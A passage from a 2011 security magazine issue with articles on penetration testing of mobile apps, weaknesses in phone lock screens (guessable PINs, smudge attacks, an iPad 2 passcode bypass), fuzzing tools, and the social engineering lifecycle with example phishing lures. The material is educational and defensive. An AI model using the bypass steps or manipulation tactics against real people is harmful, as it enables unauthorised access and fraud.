the App you are looking at, this is where you regularly 

find directory traversal and similar vulnerabilities. As you 

can see the default export behaviour of content providers 

combined with SQL storage and file handling makes for 

an explosive mixture. 

To perform rigorous testing of all these IPC endpoints 

you may need to write yourself some fuzzers or test 

case generators and examine the behaviour. Obviously 

if you have access to decompiled source it becomes 

much easier to spot bugs but if the App makes extensive 

use of native code libraries with any level of obfuscation 

or anti-reverse engineering built in you may find that the 

black box testing approach is a more efficient use of 

your time. 


Step 5 – Other Considerations 

You can now move on to looking at other classes of 

vulnerability although there unfortunately isn’t enough 

time to go in depth on these. The areas that you should 

take a look at are Unix file system permissions (yes world 

writable files still exist) and network communications. It 

is often the case that Apps communicate with external 

endpoints such as Web Services and either do this 

using cleartext HTTP or don’t check the certificate if 

using SSL and this is worth looking at. It’s also worth 

considering that vulnerabilities can exist in the web 

services themselves although that’s out of scope of our 

discussion. 

Unfortunately we can’t go into detail about all the 

classes of vulnerability that you may encounter on a 

security test of an Android application, we’ve looked 

at many and found a wide spectrum of issues from 

common classes of bug through to interesting logic 

flaws. To get you started though here is a list of the top 

ones that we encounter: 

• Unnecessary IPC endpoints that are exported 

• Exported content providers containing sensitive 

data 

• SQL Injection in content providers 

• Insecure data transmission across a network 

• Excessive application permissions 

• Hardcoded credentials 

• Weak or dangerous file system permissions 

• Directory traversal 

• Debuggable Apps 

You also have the world of memory corruption bugs 

in native code or the Java VM itself to look at and you 

can use other standard testing techniques to hunt for 

and exploit these types of security vulnerability. 

Another Approach to Android Testing 

The team of consultants here at MWR InfoSecurity 

are regularly called upon to examine the security of 

either a single application or an entire build of phone. In 

these situations the process of writing test harnesses, 

compiling code and deploying to the hardware or 

emulator can take up valuable time. We therefore 

looked at another approach where we built a testing 

toolkit that will run as an App on the phone (with minimal 

privileges) which you can talk to whilst the phone is 

tethered to a laptop. 

This class of tool is very different from source code 

analysis is as it is aimed to be a practical platform for 

finding vulnerabilities and performing different attacks 

on Android devices. The main objective of a tool like this 

is to be a hybrid exploitation framework and auditing 


Figure 1. Android test platform 

tool that can be used for many purposes. Some features 

which are particularly useful are: 

• The ease with which a user can find relevant 

information about exposed application attack vectors 

• Command-line interaction with applications on the 

device in order to find vulnerabilities 

• The ability to write proof-of-concept exploits 

for vulnerabilities using a range of pre-defined 

commands removing the need for custom application 

writing in order to perform tests against a target 

vulnerability 

The advantage of this approach is that you are 

able to obtain wide coverage across the phone and 

attempt exploitation without continually rebuilding and 

deploying code. The toolkit we developed at MWR 

is called Mercury and will soon be available so that 

security testers everywhere can benefit from the 

flexibility it brings to the testing process. 

The tool is still under development but it has already 

proven itself as a viable and scalable approach to 

Figure 2. Commands 



security testing on the Android platform. As a teaser 

here are a couple of screenshots of what you can 

expect. 

Apple iOS Testing 

I will offer you a warning before you start considering 

auditing or testing an App that has been written for 

iOS, you won’t get very far without a Mac to help you! 

That isn’t an advert for Apple, it’s a reality check that 

developing for iOS is pretty near impossible without 

a Mac and performing security testing is going to be 

severely limited without one. When it comes to testing 

iPhone, iPod or iPad Apps you will be in one of two 

situations, you will have source code or you won’t. I’ll 

start with the case that you have source code as that 

is much easier and even if you do have it you will likely 

want to use elements of the black box approach as 

well. 

On iOS your source code review will focus on the 

same types of things as on any other type of code, the 

areas that handle user controlled data, control network 

activity and handle security tokens of any kind. To 

find vulnerabilities in iOS code you will need to know 

Objective C and have a good grasp of the types of poor 

coding practice that make more traditional C or C++ 

applications vulnerable to attack. 

One of the most effective methods of honing in on 

bugs is to gauge what type of background the developer 

or developers have come from. They will typically be 

either more experienced coders who have encountered 

C or C++ but use the wrong bits of their knowledge 

and thereby introduce memory corruption bugs or 

developers who are new to programming and more 

likely to stick to Apple objective C libraries; however, 

are generally less experienced in secure programming. 

So no matter who has written the code you have a good 

chance of finding security bugs! 

The more complex part of testing an iOS application 

often comes when you are looking to test an App that 

you haven’t been given the source for. Often this occurs 

when an organisation wants some assurance about 

the security of an application they bought from a 3rd 

party where they are 

only provided with it 

in its compiled format 

or when you just 

fancy taking a look at 

something from the App 

Store. In this situation, 

outside of playing with 

the application on the 

device and testing its 

advertised features, 


you need to get stuck in at the technical level. You 

will be able to follow a similar pattern for the analysis 

as with Android except for the fact that the platform 

doesn’t have the concept of IPC endpoints for inter-app 

communication. Be warned though, reverse engineering 

Objective-C is not easy! You may also need to consider 

jailbreaking the device which you also do at your own 

risk. 

If you want to put together a toolkit you should ideally 

include the following things: 

• A Mac 

• Xcode and other Mac development tools, 

Instruments on Mac OS/X is handy to have 

• iPhone emulator 

• An iPhone, iPod Touch or iPad 

• IDA Pro for reverse engineering 

Maybe I’ll be able to give you some more detailed 

advice in the future but hopefully you can make a start 

with this! 

Microsoft Phone 7 Testing 

As mentioned at the start of this article the Phone 7 

platform is closed and the security model was only 

recently talked about publicly. If you would like to know 

more about the platform and how security is enforced 

then take a look at some of the research already 

conducted by Alex Plaskett of MWR InfoSecurity (http:// 

labs.mwrinfosecurity.com/projectdetail.php?project= 

15). I would recommend that as the starting point for 

anyone who is interested in testing any aspect of the 

platform. On the Phone 7 platform all Apps run in very 

tightly confined chambers and developers are only able 

to use Managed code in their Apps. In addition each 

App runs in its own sandbox within the least privileged 

Figure 3. Security levels 


chamber (LPC) on the device as illustrated in the 

following diagram (Figure 3). 

The security levels and chambers in the Windows 

Phone7 security model. 

Therefore, if you would like to test Apps on the platform 

I would suggest starting by looking at the permissions 

that are requested by the App to determine the exact 

attack surface you have available to you. Additionally, 

you can use tools like .Net Reflector to decompile the 

App although be warned that you may find it obfuscated 

and not easy to make progress with. 

One thing is certain, you should keep your eyes 

open for developments in the testing approach for this 

platform as more information could be released at any 

time. 

Conclusion 

It may be easy to categorise mobile technology as 

smartphone or tablets but it’s less easy to come up 

with a one size fits all approach when thinking about 

security testing. Each platform will require you to gain 

knowledge about its security features before you start 

your testing and you will also need to build up your 

toolkit which may require you to go out and buy some 

hardware and software. There are some free tools out 

there that can help you but as things stand you may be 

forced to dig into your pockets to buy some bits of kit. 

There are now mobile security testing courses 

starting to be run at the major security conferences 

but my advice would be to select one carefully before 

handing over your hard earned cash. If you want to 

use the knowledge gained to enable you to perform 

testing yourself you had better make sure your get a 

good teacher as there is still an undiscovered world of 

security bugs out there and a checklist approach won’t 

enable you to catch them all. The most important advice 

I can offer you though is get stuck in and give mobile 

bug hunting a go as you are certain to see the rewards 

for your efforts! 

MARTYN RUKS 

Martyn Ruks is Technical Director at MWR InfoSecurity and has 

over 10 years experience in the information security testing 

and research elds. He has previously worked as a security 

tester and consultant across a wide range of projects that has 

provided him with a wealth of knowledge about how to test a 

variety of platforms for security vulnerabilities. Martyn is most 

well known for his research into IBM’s WebSphere MQ from 

which he created a testing methodology and toolkit for the 

platform. His previous research had centred around a number 

of the more exotic networking protocols and is now engaged 

on a retro research project in an attempt to nd security bugs in 

networks of BBC Microcomputers from the 1980’s. 



Mounting a Mobile 

Masquerade? 

The sensitivity and value of data on mobile devices increasingly 

suggests the need for protection via some form of point-of-entry 

authentication. This article examines some of the methods that 

that are available on current devices, and highlights some of the 

limitations that might be encountered when using them. 

It’s no exaggeration to suggest that mobile devices, 

and particularly smartphones, can now present highly 

valuable targets; not just because of their physical 

value but also thanks to the data that people are prone 

to storing on them. In addition to holding a wealth of 

personal data, they can increasingly provide a good level 

of access to company and corporate data (with things 

like email and contacts being chief amongst these). 

With such a valuable asset to be protected, this article 

examines the forms of protection that are available to 

thwart an impostor at the authentication level. 

Although mobile devices have offered authentication 

safeguards for many years, it is fair to say that many 

users have managed to ignore them. The reason here is 

often that they overlook the value and sensitivity of what 

they’re carrying around in data terms, and so similarly 

overlook the need to protect it. While the situation has 

improved with smartphones, there are still plenty of 

users whose security practices haven’t caught up with 

their technology usage. Indeed, if you ask an audience 

how many of them don’t use a PIN (or similar) to protect 

their mobile handset, a good number of hands normally 

go up. However, a fair few of the same hands also go 

up when asked whether their phone is holding data that 

they think ought to be protected. 

So, with users that don’t bother or don’t see the need to 

set a PIN, there are consequently many cases in which 

penetrating the device requires no more than physically 


acquiring it. Many users seem to assume that this is the 

very reason that they don’t need to worry about controlling 

access, because they intend to keep the device with them 

and consider that it is protected as a result. However, 

there’s significant evidence to show that mobiles are 

very much prone to loss and theft. For example, survey 

findings from CREDANT Technologies showed that, 

over a 12-month period, almost 4,400 smartphones and 

tablets were left behind in a cross-section of US airports 

(CREDANT. 2011. CREDANT Survey Finds Consumers 

Left Thousands of Laptops and Smartphones at Airports 

Across the United States, Press Release, 12 July 2011. 

http://www.credant.com/news-a-events/press-releases/ 

238-credant-survey-finds-consumers-left-thousands-oflaptops-and-smart-phones-at-airports-across-the-unitedstates.html). 

Based on other survey findings, it’s then a 

fair bet that many of these would have been unprotected 

against further access. 

Even if a PIN is used, a 4-digit code is significantly 

less than we’d be encouraged to use in order to protect 

the same data elsewhere (e.g. on a desktop system). 

However, affording the same level of protection is 

less than straightforward. For example, while almost 

transparent to many users when they’re sitting at a fullsize 

keyboard, entering a password can prove most 

unfriendly when you have to tap it in one-handed on 

a mobile device. They keys are small and fiddly, and 

can be particularly awkward if you’ve used a ‘strong’ 


password and then end up having to switch character 

sets to get the numbers and punctuation characters to 

appear. As a result, the relatively lengthy interaction 

required to enter the password may be too much 

effort to go through; particularly on a device that can 

be repeatedly going in and out of your pocket in order 

to perform quick tasks. In some cases, tapping in the 

password could end up taking longer than the thing you 

want to do. As a result, striking an acceptable balance 

between the protection and usability is actually quite a 

challenge to tackle. 

Predictably Insecure Numbers? 

The most common form of authentication on mobile 

devices has undoubtedly been based around Personal 

Identification Number (PIN) codes, with interfaces similar 

to Figure 1 dating back to the earliest handsets. However, 

for many users this has proven to be an unsatisfactory 

approach, with some finding it inconvenient to use and 

some considering it insufficient protection anyway. Add 

to these the folks that aren’t too fussed in the first place, 

and we have a variety of reasons why the available 

mechanism might not be used. 

Even if they use a PIN, there’s a fair chance that 

people aren’t using it particularly well, thanks to the 

opportunity to choose obvious and weak sequences. 

Research findings from Daniel Amitay help to put some 

numbers to this, based on a study of iPhone passcodes 

and the choices that users made (Amitay, D. 2011. 

Most Common iPhone Passcodes, 13 June 2011. 

http://amitay.us/blog/files/most_common_iphone_ 

passcodes.php). From almost 205,000 recorded 

passcodes, almost 4.5% of them were found to be the 

sequence 1234; so put another way, this means that 

there’s not much more than a one in twenty chance 

of picking up a phone and finding that it’s locked with 

this particular PIN. The findings further determined 

that, although 10,000 permutations were theoretically 

available, 15% of choices logged in the sample group 

were based upon just ten different PINs (including the 


aforementioned 1234, as well as 0000, 1111 and other 

guessable options). The prominence of 198x and 199x 

sequences in the wider set of results also enabled 

Amitay to infer that a fair number of the other owners 

were using their year of birth as their passcode. 

In the early days, such PIN protection was arguably 

commensurate with the range and volume of data being 

held on the devices, but over time security has not 

evolved as quickly as other capabilities. So, as handset 

storage, communication and software capabilities have 

rocketed, the most common enhancement to user 

authentication until relatively recently has simply been 

to allow a password instead of the PIN. With this in 

mind, let’s take a look at how the latest platforms are 

taking things forward. 

Advancing The Authentication Alternatives 

After years of very little changing with mobile device 

authentication, the last couple of years have seen a few 

departures from the norm, with the most obvious ones 

appearing on the Android platform. In addition to standard 

PINs and password options, this allows users to unlock 

their handset by drawing a secret pattern. The interface 

is depicted in Figure 2, and works by drawing a pattern to 

connect the dots. The pattern can be 4-9 dots in length, 

and can use them in a variety of combinations (although 

certain combinations cannot be achieved; for example, it 

is not possible to connect the corner dots directly to each 

other without selecting another one in between). 

A first comment from the security perspective is that, 

unless the user is careful when they’re entering the 

information, then the pattern unlock process can be 

very observable; far more so than similar length PIN. 

Figure 1. The traditional view of mobile authentication Figure 2. Android pattern unlock 


This partly comes down to the action involved, as the 

drawing of the secret gives an observer a continuous 

action to watch rather than a series of taps (which are 

more difficult to keep track of if you’re trying to watch 

what someone else is doing). Also, if a would-be 

impostor actually has sight of the user’s screen, then 

they may be a glimpse of the overall pattern itself, as 

depicted in Figure 2. Although Android offers an option 

to make the entry of the pattern invisible, this actually 

becomes quite difficult for the authorized user to follow 

(i.e. to keep track of their position in a long pattern) and 

to tell if they are doing it right. The option to enable 

tactile feedback (by means of small vibrations) does 

provide some help here to an extent, but it’s still easy to 

make a mistake. 

Once an impostor gets hold of a device, then it’s 

sometimes possible to determine the unlock pattern from 

the smudges and smears that the owner’s fingers have 

left on the screen. In fact, my first practical encounter 

with the pattern unlock technique was when a one of my 

students had popped out of the room and left his phone on 

the table. One of his ‘friends’ then picked it up, looked at 

the screen, determined the unlock pattern … and quickly 

changed it to something else. Although it was all done in 

fun on this occasion, it was a fairly clear illustration of the 

vulnerability. The feasibility of such attacks has also been 

recognized in the research community, with academics 

from the University of Pennsylvania having published a 

detailed paper on the topic (Aviv, A.J., Gibson, K., Mossop, 

E., Blaze, M. and Smith, J.M. 2010. Smudge Attacks on 

Smartphone Touch Screens, in 4th USENIX Workshop 

on Offensive Technologies (WOOT’10), Washington DC, 

9 August 2010. http://www.usenix.org/events/woot10/ 

tech/full_papers/Aviv.pdf). 

In the same way that they can choose guessable 

PINs, there is a risk of users having a tendency towards 

predictable patterns (indeed, 

users already do this with 

PINs, with Amitay’s study 

revealing ‘2580’ to be the third 

most popular choice – not an 

obviously memorable number 

until you look at the pattern it 

traces out on the keypad). In 

addition, there’s a reduced 

set of permutations compared 

to an equivalent length PIN, 

because each elements of 

the pattern are more likely to 

adjacent to each other (they 

don’t have to be, but it’s more 

likely to happen as a result of 

the way that many users will 



draw them), and unlike the digits in PIN, the positions 

in the pattern cannot be repeated. Having said this, the 

range of valid permutations is still sufficient to ensure 

that users have the chance to select patterns that are 

far from trivial to break or predictable to guess. 

On the positive side, the use of a pattern helps to 

guard against sharing – it’s hard to describe your 

pattern to someone when compared to a passing on a 

password or PIN, and so a user would have to spend 

time showing someone. However, users may also find 

long patterns potentially more difficult to remember 

than a numerical sequence of equivalent length, 

because they don’t have the opportunity to remember 

the information as a meaningful string in its own right. 

However, it is arguable that users with better visual/task 

memory will find the action of recalling and recreating 

the pattern to be an easier proposition. 

In addition to the pattern lock, the latest version of 

Android, Ice Cream Sandwich (ICS), has taken things 

further with introduction of face recognition. This 

leverages the handset’s front-facing camera to enable 

the phone to unlock when it sees its owner. However, no 

sooner had this appeared than coverage and commentary 

started to suggest potential problems, such as the risk of 

being able to fool the mechanism by showing it a photo 

of the legitimate user, or difficulty of using it in low light 

conditions (Kaelin, L. 2011. Android’s face unlock feature 

could be fooled by photo, TechSpot, 21 October 2011. 

http://www.techspot.com/news/45953-androids-faceunlock-feature-could-be-fooled-by-photo.html). 

Given the 

right lighting, however, it operates very effectively and 

can certainly be accomplished more quickly and with 

less effort than entering a PIN or a pattern. 

Although faults might be leveled at each of the 

techniques in isolation, a key thing is that Android offers 

a range of options. So, from a usability perspective, the 

Figure 3. Variations of the iOS passcode (a) Simple (b) numeric-only and (c) full character set 


user has an increased opportunity of finding something to 

suit their preference, and so (in theory at least) has less 

of a justification for leaving their device unprotected. 

By contrast to Android’s advancements, the offerings 

on the iOS platform currently feel a bit limited. Despite 

Apple actually having been granted a patent on unlocking 

a device based upon touchscreen gestures (Chaudhri, 

I., Ording, B., Anzures, F.A., Van Os, M., Lemay, S.O., 

Forstall, S. and Christie, G. 2011. Unlocking a device by 

performing gestures on an unlock image, United States 

Patent 8046721, 25 October 2011), the options available 

in iOS 5 at the time of writing are restricted to traditional 

PIN and password approaches, the interfaces for which 

are depicted in Figure 3. The default mechanism is what 

iOS terms the Simple passcode, which is basically a 

traditional PIN, fixed to four digits in length. Notably if 

you switch this option off, then in addition to letting you 

choose more complex strings, iOS will also let you get 

away with a single-digit PIN (which implicitly shows that 

it’s not doing anything to filter out silly choices either). In 

 

terms of enabling the protection, the phone can be set 

 

to require the passcode immediately, or after 1, 5 or 15 

minutes after the device is switched off (with the further 

 

option to auto-lock if left switched on after 1, 2, 3, 4 or 5 

 

minutes, or set not to lock). 

 

Looking at the different screenshots in Figure 3, we 

 

can make some observations about how the interface 

 

differs according to what the user has set as their 

passcode. With simple passcode switched on (Figure 

 

3a), the entry screen clearly shows that four digits are 

required, whereas with it switched off the user does 

not get an indication of the number of characters being 

expected. It’s notable that the keys in Figure 3c are 

significantly smaller than those on the numeric-only 

keypad, and so some users may find it more difficult 

to enter the information, particularly if they’re trying to 

enter the passcode on the move. This is unfortunate, 

as anything that increases the chance of mistakes (and 

thereby the risk of being locked out after consecutive 

errors) is likely to reduce users’ willingness to enable it. 

Thus while it has the potential to offer greater security 

than something like Android’s pattern lock, the password 

approach is unlikely to be as appealing to use. 

Although it doesn’t exactly advertise the fact, a nice 

touch with iOS is that it also permits you to use a long 

PIN (i.e. more than the standard 4 digits) and still retain 

the numeric keypad rather than the full keyboard. The 

‘trick’ is to opt to use a password, but then proceed to set 

something that is entirely numeric. iOS will recognize that 

it’s only using digits, and then present the numeric keypad 

rather than the alphabetic one for subsequent entry. This 

is depicted in Figure 3b, where it is clear that the user has 

to enter a PIN, but iOS is no longer giving away any clue 

starterkit 02/2011(2)

of how long it’s expected to be. The result for the user is 

the potentially useful compromise of being able to enter 

a longer passcode, but without having to resort to the 

potentially fiddly alphabetic keyboard to do so. 

Let Me Through, I’m An Impostor! 

Having enabled a lock of some kind, there is also the 

question of what people can still get to without needing 

to be authenticated. As shown in Figures 2 and 3, it is 

standard practice for emergency calls to still be possible 

from a locked device, but this is often not the only feature. 

For example, the recent launch of the iPhone 4S was 

followed by criticism that its Siri personal assistant was 

still active with the phone locked (Newman, J. 2011. Siri’s 

Security Hole: The Passcode Is the Problem, PCWorld, 

20 October 2011. http://www.pcworld.com/article/242253/ 

siris_security_hole_the_passcode_is_the_problem.html). 

This is actually similar to what earlier iPhone users would 

find with the normal ‘voice control’ feature, which (unless 

disabled in the settings) allowed access to the phonebook 

to make calls or to the music library to play tracks. The 

difference with Siri was that it exposed a much greater 

range of functionality, such as the ability to send texts and 

emails, while the phone was otherwise still locked. In no 

sense was it a security oversight, as the iOS settings offer 

an explicit option for whether Siri should still be accessible 

when the phone is locked, but criticism could be leveled for 

making this the default configuration. This again highlights 

the balancing act that’s required in terms what should be 

left accessible for the convenience of the owner, versus 

what needs to be kept off-limits for their protection. For 

example, regardless of Siri, the iOS lock screen still allows 

the camera to be used or music to be played, so you 

could conceivably take unwanted photos and fill up the 

phone’s memory, or have an uninvited nose through the 

user’s music collection. Of course, neither of these are 

necessarily major risks in the grand scheme of things, but 

it’s also notable that the owner doesn’t have a choice to 

disable the features and lock off the phone completely. 

In addition to potential configuration weaknesses, 

there are sometimes genuine implementation 

vulnerabilities waiting to be exploited. In fact, one such 

example was publicised while this very article was 

being written, with an iOS vulnerability that allowed 

the passcode to be bypassed on an iPad 2. The exploit 

basically involved holding down the power button until 

slide to power off appeared, then closing the Smart 

Cover, re-opening it and selecting ‘Cancel’ (9to5Mac. 

2011. Anyone with a Smart Cover can break into your 

iPad 2, 20 October 2011. http://9to5mac.com/2011/10/ 

20/anyone-with-a-smart-cover-can-break-into-youripad-2/). 

Doing so appeared to unlock the device and 

give an impostor access to whatever was on the screen 



before it was locked. If the user had been running 

an app, then the impostor could see (and to some 

extent interact with) whatever was left on view. So, 

for example, if Mail was open, an impostor could look 

through the messages, or perhaps merrily go looking 

at web history in Safari. Alternatively, if the iPad had 

been left on the home screen, then the impostor could 

browse around and see what was installed. Trying to 

run an app quickly revealed that nothing would actually 

launch, as the device was still semi-locked, but some 

things could still be done to compromise both the 

integrity and confidentiality of the device. Specifically, 

apps could be deleted, and the search screen could still 

be used, with the results list from the latter potentially 

giving access to a wealth of confidential tidbits including 

contacts, schedule entries, and messages. 

Conclusions 

It is clear from many of the observations that our 

opportunities to protect mobile devices have not kept 

pace with the ways in which we’re now able to use 

them. The positive news is that there are now signs 

of this changing, with attention being given towards 

point-of-entry (PoE) approaches that people may feel 

more inclined to use. In addition, ongoing research is 

considering composite, non-intrusive approaches that 

have the potential to provide a measure of protection 

beyond the PoE judgement (Furnell, S., Clarke, N. and 

Karatzouni, S. 2008. Beyond the PIN: Enhancing user 

authentication for mobile devices, Computer Fraud & 

Security, August 2008, pp12-17). However, the level 

of protection that can be achieved on some devices 

will still lag behind what can be done on a full desktop 

system, and so if really sensitive data is at stake there 

remains a question of whether it ought to find its way 

onto a mobile device in the first place. 

PROF. STEVEN FURNELL 

Prof. Steven Furnell is the head of the Centre for Security, 

Communications &Network Research at Plymouth University 

in the United Kingdom, and an Adjunct Professor with Edith 

Cowan University in Western Australia. His interests include 

security management and culture, computer crime, user 

authentication, and security usability. Prof. Furnell is active 

within three working groups of the International Federation 

for Information Processing (IFIP) – namely Information 

Security Management, Information Security Education, and 

Human Aspects of Information Security & Assurance. He is the 

author of over 210 papers in refereed international journals 

and conference proceedings, as well as books including 

Cybercrime: Vandalizing the Information Society (2001) and 

Computer Insecurity: Risking the System (2005). Further 

details can be found at www.plymouth.ac.uk/cscan. 


WHAT IS A GOOD FUZZING TOOL? 

Fuzz testing is the most efficient method for discovering both known and unknown vulnerabilities in software. It is 

based on sending anomalous (invalid or unexpected) data to the test target - the same method that is used by hackers 

and security researchers when they look for weaknesses to exploit. There are no false positives, if the anomalous 

data causes abnormal reaction such as a crash in the target software, then you have found a critical security flaw. 

In this article, we will highlight the most important requirements in a fuzzing tool and also look at the most common 

mistakes people make with fuzzing. 

PROPERTIES OF A GOOD 

FUZZING TOOL 

There are abundance of fuzzing tools available. How to distinguish 

a good fuzzer, what are the qualities that a fuzzing tool 

should have? 

Model-based test suites: Random fuzzing will certainly give you 

some results, but to really target the areas that are most at risk, the 

test cases need to be based on actual protocol models. This results 

in huge improvement in test coverage and reduction in test execution 

time. 

Easy to use: Most fuzzers are built for security experts, but in QA 

you cannot expect that all testers understand what buffer 

overflows are. Fuzzing tool must come with all the security knowhow 

built-in, so that testers only need the domain expertise from 

the target system to execute tests. 

Automated: Creating fuzz test cases manually is a time-consuming 

and difficult task. A good fuzzer will create test cases automatically. 

Automation is also critical when integrating fuzzing into regression 

testing and bug reporting frameworks. 

Test coverage: Better test coverage means more discovered 

vulnerabilities. Fuzzer coverage must be measurable in two 

aspects: specification coverage and anomaly coverage. 

Scalable: Time is almost always an issue when it comes to testing. 

User must also have control on the fuzzing parameters such as test 

coverage. In QA you rarely have much time for testing, and therefore 

need to run tests fast. Sometimes you can use more time in testing, 

and can select other test completion criteria. 

 

 

 

 

 

 

 

Documented test cases: When a bug is found, it needs to be 

documented for your internal developers or for vulnerability 

management towards third party developers. When there are 

billions of test cases, automated documentation is the only possible 

solution. 

Remediation: All found issues must be reproduced in order to fix 

them. Network recording (PCAP) and automated reproduction 

packages help you in delivering the exact test setup to the developers 

so that they can start developing a fix to the found issues. 

MOST COMMON MISTAKES IN 

FUZZING 

Not maintaining proprietary test scripts: Proprietary tests 

scripts are not rewritten even though the communication interfaces 

change or the fuzzing platform becomes outdated and unsupported. 

Ticking off the fuzzing check-box: If the requirement for testers 

is to do fuzzing, they almost always choose the quick and dirty 

solution. This is almost always random fuzzing. Test requirements 

should focus on coverage metrics to ensure that testing aims to 

find most flaws in software. 

Using hardware test beds: Appliance based fuzzing tools 

become outdated really fast, and the speed requirements for the 

hardware increases each year. Software-based fuzzers are scalable 

in performance, and can easily travel with you where testing is 

needed, and are not locked to a physical test lab. 

Unprepared for cloud: A fixed location for fuzz-testing makes it 

hard for people to collaborate and scale the tests. Be prepared for 

virtual setups, where you can easily copy the setup to your 

colleagues, or upload it to cloud setups.

SOCIAL FRAUD 

Social Engineering 

Cyber security is an increasingly serious issue for the complete 

world with intruders attacking large corporate organizations with 

the motive of getting access to restricted content. CSI Computer 

Crime and Security Survey report for the year 2010-2011 stated 

that almost half of the respondents had experienced a security 

incident, with 45.6% of them reporting that they had been subject 

of at least one targeted attack. 

Merely trying to prevent infiltration on a technical 

level and ignoring the physical-social level, 

cent percent security can never be achieved. 

Couple of examples can be the scenes from Hackers 

which shows Dumpster diving in the target company’s 

trash in order to obtain financial data from printouts and 

the scene from War Games where Matthew Broderick’s 

character studied his target before attempting to crack 

the password of the military computer system. Social 

Engineering is a threat that is overlooked in most of 

the organizations but can easily be exploited as it 

takes advantage of human psychology rather than 

the technical barricades that surrounds the complete 

system. Below is a classic example of this: 

A person receives an e-mail on his official mailbox 

saying that his computer has been infected with a virus. 

The message provides a link and suggests that he 

downloads and installs the tool from the link to eliminate 

the virus from his computer. The person in a state of 

confusion clicks on the link to remove the virus from 

his computer but unwittingly giving a hacker an easy 

entrance into his corporate network. 

To ensure complete security of an organization from 

all kinds of internal and external factors, the security 

consultant must have complete knowledge of the Social 

Engineering cycle, the techniques that can be used by 

an attacker and the counter-measures to reduce the 

likelihood of success of the attack. 


In this paper we are going to take you through the 

various phases so as to understand what is Social 

Engineering, Social Engineering Lifecycle, the various 

Techniques used in Social Engineering attack with 

detailed examples and then finally conclude with the 

counter-measures to protect against each of the Social 

Engineering attack techniques. 

Definition(s) of Social Engineering 

The term Social Engineering can be defined in various 

ways, relating to both physical and cyber aspects of that 

activity. Wikipedia defines social engineering as: 

“...the art of manipulating people into performing actions or 

divulging confidential information”. 

Other authors have provided the following definitions: 

“An outside hacker’s use of psychological tricks on legitimate users 

of a computer system, in order to obtain information he needs to 

gain access to the system”. 

“The practice of deceiving someone, either in person, over the 

phone, or using a computer, with the express intent of breaching 

some level of security either personal or professional”. 

“Social Engineering is a non-technical kind of intrusion relying 

heavily on human interaction which often involves tricking other 


people into breaking normal security procedures” the attacker uses 

social skills and human interaction to obtain information about 

an organization or their computer systems. 

In reality Social Engineering can be any of these 

definitions depending on the circumstances that 

surround the attack. Social Engineering is actually a 

hacker’s manipulation of the natural human tendency 

to trust so as to get sensitive information needed to 

gain access to a system. Social Engineering does not 

require high level of technical expertise but requires 

the individual to have decent social skills. 

Many people, for several decades have used social 

engineering as a method to research and collect 

data. These early social engineers would use the 

gathered information as a form of blackmail against 

the other organizations. Social engineering has been 

used to gain unauthorized access into several huge 

organizations. A hacker who spends several hours 

trying to break passwords could save a great deal of 

time by calling up an employee of the organization, 

posing as a helpdesk or IT employee, and can just 

asking for it. 

The Social Engineering Life Cycle 

Every Social Engineering attack is unique, but with 

a little understanding of the situations encountered, 

we can draft a rough cycle of all the activities that a 

Social Engineering project goes through leading to a 

successful outcome. 

The Figure 1 shows a general representation of the 

Social Engineering Life Cycle in four main stages. 

Footprinting 

It is the technique of accumulating information regarding 

the target(s) and the surrounding environment. 

Footprinting can reveal the individuals related to 

the target with whom the attacker has to establish 

a relationship, so as to improve the chances of a 

successful attack. 

The information gathering during the Footprinting 

phase includes but is not limited to: 

• List of employee names and phone numbers 

• Organization Chart 

• Department Information 

• Location information 

Footprinting generally refers to one of the pre-attack 

phases; tasks performed prior to doing the actual 

Social Engineering attack. 

Some of the tools like creepy, SET and Maltego make 

Social Engineering engagements easier. 


Establishing Trust 

Once the possible targets have been listed out, the 

attacker then moves on to develop a relationship with the 

target who is usually an employee or someone working in 

the business so as to develop a good rapport with them. 

The trust that the social engineer is gaining will later 

be used to unveil confidential pieces of information that 

could cause severe harm to the business. 

Psychological Manipulation 

In this step, the social engineer manipulates the trust 

that he has gained in the previous phase so as to 

extract as much confidential information or get sensitive 

operations related to the target system performed by 

the employee himself so as to penetrate into the system 

with much ease. 

Once all the required sensitive information has been 

collected, the social engineer may move on to the next 

target or move towards exploiting the actual system 

under consideration. 

The Exit 

Now, after all the actual information has been extracted, 

the Social Engineer has to make a clear exit in such 

a way so as not to divert any kind of unnecessary 

suspicion to himself. 

He makes sure to not leave any kind of proof of his 

visit that could lead a trace-back to his real identity nor 

link him to the unauthorized entry into the target system 

in the future. 

The Human Behavior 

Every Social Engineer targets specific behavioral traits 

in the victim so as to extract maximum information out of 

him. These behavioral traits include but are not limited to: 

 

 

 

 

 

 

Figure 1. The Social Engineering Life Cycle 


Excitement of Victory 

Mr. X gets an e-mail stating, You have won 1 Million 

Dollars and to claim the winning amount, fill in the 

attached document and forward it to the email id: 

XXXX@XXXX.com. 

Switch off your antivirus as it may block the download 

due to highly encrypted Digital Signature of the 

documents. Out of Excitement he switches off his 

Antivirus and proceeds as ordered and downloads the 

document and opens it but finds it corrupted. Little does 

he know that he has just downloaded a malware on his 

machine which allows the email sender to gain remote 

access to his machine. 

Fear of Authority 

Many people are apprehensive in the presence of 

someone they perceive as an authority figure, it is not 

that person they are apprehensive about but most likely 

the position and power of the person that intimidates 

them and makes them. 

The attackers take on roles of authority figures such 

as law enforcement officers or high-ranking company 

officials to extract sensitive organizational information 

from the victims. 

Desire to be helpful 

Keith A. Rhodes, chief technologist at the U.S. General 

Accounting Office, which has a Congressional mandate 

to test the network security at 24 different government 

agencies and departments said in one of his interviews 

that, Companies train their people to be helpful, but they 

rarely train them to be part of the security process. We 

use the social connection between people, their desire 

to be helpful. 

People in their desire to be helpful and to solve 

other peoples queries, give out a lot of information that 

otherwise should not be disclosed to an outsider as it 

could give an attacker a chance to get unauthorized 

access to the target system causing a possible loss. 

 

 

 


 

 

 

 

 

Figure 2. Social Engineering Techniques 

 

 

 

 

SOCIAL FRAUD 

Fear of Loss 

Mr. X gets an e-mail stating, You have won 1 Million 

Dollars and to claim the winning amount, deposit $75,000 

in Account number: XXXXXX in 10 days from receiving 

this e-mail, failing to which the winning amount would 

be declared unclaimed and there would be a nee luckydraw 

to decide the next winner. Out of fear that he might 

lose such a good opportunity, he deposits the amount 

to the account number provided. When his future replies 

to the e-mail address goes unanswered for the next two 

months nor does the 1 Million Dollar gets deposited to his 

account, he understands that he has been scammed. 

Laziness 

All of us have come across some or the other job 

that requires us to do only a specified set of activities 

and not linger around looking for better ways of doing 

that activity. This causes boredom to the person who 

performs the same task repeatedly on daily basis and 

over the time learns shortcuts to do the tasks using 

minimal efforts and still meeting the targets. 

Such individuals over a period of time become lazy 

